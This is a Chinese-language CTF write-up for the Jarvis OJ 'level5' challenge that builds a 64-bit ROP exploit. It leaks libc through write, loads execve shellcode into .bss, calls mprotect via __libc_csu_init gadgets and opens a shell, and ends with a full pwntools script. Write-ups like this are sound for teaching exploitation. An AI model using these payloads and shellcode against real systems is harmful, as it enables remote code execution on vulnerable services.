pwn level5
这个题和level3-64的附件一样,level5要求不用system和execve,而是用mprotect和mmap,mmap主要是将文件映射到一段内存去同时设置那段内存的属性可读可写或者是可执行,mprotect函数是将从addr开始的地址 ,长度位len的内存的访问权限。
可以这样做:利用shellcode,利用read函数把shellcode写入bss段,这里要求写入的bss段是可执行的。但是这道题目中的bss 段是不可执行的。
这里就用mprotect来修改权限:Linux中mprotect()函数的用法
思路:泄漏write地址-》获得libc版本-》把shellcode写入bss段-》获得mprotect函数地址并修改bss段的权限-》执行bss段里的shellcode。
这里不免要构造ROP链,但是找到合适的pop rdi等的指令总是不如意,所以这里用到了通用gedgat。
在这道题目中像read,write,mprotect 函数都需要三个参数,在64位系统中,在调用函数时,其前六个参数是在rdi,rsi,rdx,rcx,r8,r9中取的,这道题目中只有rdi,rsi的片段,rdx的值不能控制,所以这里就用到了通用的gedget。
0x01 通用gedget
我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)。(在IDA中的函数列表中可以找到这个函数,看一下汇编代码)
红框中的就是我们要利用的gedget。
调用4006A6可以对rbx,rbp,r12,r13,r14,r15进行赋值,再通过调用400690函数,分别对rdx,rsi,edi,进行赋值,通过控制r12,rbx的值,可以调用想要调用的函数,比如r12=0,rbx=0x10000,则在call处,调用0x10000处的函数。
0x02 泄漏write地址并得出libc版本
和level3一样,因为rbx的值为0x200,大于8,所以可以不对rbx进行赋值。即write的第三个参数可以不管。write(1,write_got,8)是把write_got地址指向内存的内容的前8个字节写入到标准输出流中。
write_plt = 0x00000000004004B0
write_got = 0x0000000000600A58
read_plt = 0x00000000004004C0
vul_addr = 0x00000000004005E6
rdi = 0x00000000004006b3
rsi_r15 = 0x00000000004006b1
payload = 'a'*0x80+'b'*0x8 #padding
payload += p64(rdi)+p64(0x01) #write的第一个参数
payload += p64(rsi_r15)+p64(write_got)+p64(0) #write第二个参数和弹入r15的垃圾数据
payload += p64(write_plt)+p64(vul_addr)#调用write函数以及write函数的返回地址
r.recvuntil("Input:\n")
r.sendline(payload)
write_addr = u64(r.recv(8))
print hex(write_addr)
0x03 把shellcode写入bss段
bss_addr=e.bss()
read_plt=e.symbols['read']
payload2='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss_addr)+'a'*8+p64(read_plt)+p64(vul_addr)
p.recvline()
p.send(payload2)
shell_code='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
p.send(shell_code)
看的别人的wp,有个疑问:read的第三个参数不需要指定吗?是默认取rbx中的值吗?
0x04 得到mprotect的地址,并把mprotect和bss的地址写入got列表
因为要调用mprotect和bss,要调用程序中没有的函数,要把其地址写入got列表,写入got表所在地址可以在ida中查看,即空的地址。
程序的got表:
在ida中找空的got表地址
脚本:
###########write bss to got table
bss_got= 0x0000000000600A48
payload3='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss_got)+'a'*8+p64(read_plt)+p64(vul_addr)
p.recvline()
p.send(payload3)
p.send(p64(bss_addr))
###########write mpro to got table
offset=write_addr-libc.symbols['write']
mprot_got= 0x0000000000600A50
mprot_addr=libc.symbols['mprotect']+offset
payload4='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(mprot_got)+'a'*8+p64(read_plt)+p64(vul_addr)
p.recvline()
p.send(payload4)
p.send(p64(mprot_addr))
0x05 修改bss权限,并执行bss的内容
payload5='a'*0x88+p64(0x4006A6)+"ret_addr" + p64(0) + p64(1) +p64(mprot_got) + p64(7) +p64(0x1000)+p64(0x600000)
payload5 += p64(0x400690)
payload5 += "ret_addr" + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0)
payload5 += p64(0x400690)
payload5=‘a’*0x88+p64(0x4006A6)+“ret_addr” + p64(0) + p64(1) +p64(mprot_got) + p64(7) +p64(0x1000)+p64(0x600000)
第一步padding+return addr设为0x4006a6,调用该函数,然后是该函数的返回地址,后边是分别向对应的寄存器中存值,rbx=0, rbp=1, r12=mprot_got, r13=7, r14=0x1000, r15=0x600000, 因为要调用mprotect 函数进行修改权限,在400690函数中要给rdx,rsi,edi,r12,rbx赋值,所以把rbx设为0,r12设为要调用的函数地址。
mprotect的三个参数为(strat_addr,len,prot)mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值,这里从0x600000开始,包括bss段的地址即可,长度为0x1000为一个page,mprotect是以page为单位的,权限为可执行7。
注意值与寄存器的对应。
这里想要执行bss段里的shllcode,就要重新设置r12的值,即需要再次调用4006a6函数,可以通过设置rbp的值,在400690中,rbp设置为1,即可再次调用4006a6函数。
payload5 += p64(0x400690)+“ret_addr” + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0)
payload5 += p64(0x400690)
这里400690是把4006a6中的值赋值给相应寄存器,在次执行4006a6,给相应寄存器赋值,再调用400690执行shellcode,获取shell。
0x06 脚本
from pwn import*
context.log_level = "debug"
p=remote('pwn2.jarvisoj.com',9884)
e = ELF("./level3_x64")
libc = ELF("./libc-2.19.so")
######### leak
write_plt = e.plt["write"]
write_got = e.got["write"]
vul_addr = e.symbols["vulnerable_function"]
rdi = 0x00000000004006b3
rsi_r15 = 0x00000000004006b1
payload1 = 'a'*0x88+p64(rdi)+p64(1)+p64(rsi_r15)+p64(write_got)+'a'*8+p64(write_plt)+p64(vul_addr)
p.recvline()
p.send(payload1)
tmp=p.recv(8)
write_addr=u64(tmp[0:8])
print hex(write_addr)
offset=write_addr-libc.symbols['write']
########### read shell code to bss
bss_addr=e.bss()
read_plt=e.symbols['read']
payload2='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss_addr)+'a'*8+p64(read_plt)+p64(vul_addr)
p.recvline()
p.send(payload2)
shell_code='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
p.send(shell_code)
###########write bss to got table
bss_got= 0x0000000000600A48
payload3='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss_got)+'a'*8+p64(read_plt)+p64(vul_addr)
p.recvline()
p.send(payload3)
p.send(p64(bss_addr))
###########write mpro to got table
mprot_got= 0x0000000000600A50
mprot_addr=libc.symbols['mprotect']+offset
payload4='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(mprot_got)+'a'*8+p64(read_plt)+p64(vul_addr)
p.recvline()
p.send(payload4)
p.send(p64(mprot_addr))
########### jmp to __libc_csu_init to call shellcode
payload5='a'*0x88+p64(0x4006A6)+"ret_addr" + p64(0) + p64(1) +p64(mprot_got) + p64(7) +p64(0x1000)+p64(0x600000)
payload5 += p64(0x400690)
payload5 += "ret_addr" + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0)
payload5 += p64(0x400690)
p.recvline()
p.send(payload5)
sleep(5)
p.interactive()
0x07 参考
- https://blog.csdn.net/qq_38204481/article/details/80984318
- https://blog.csdn.net/weixin_41617275/article/details/84955439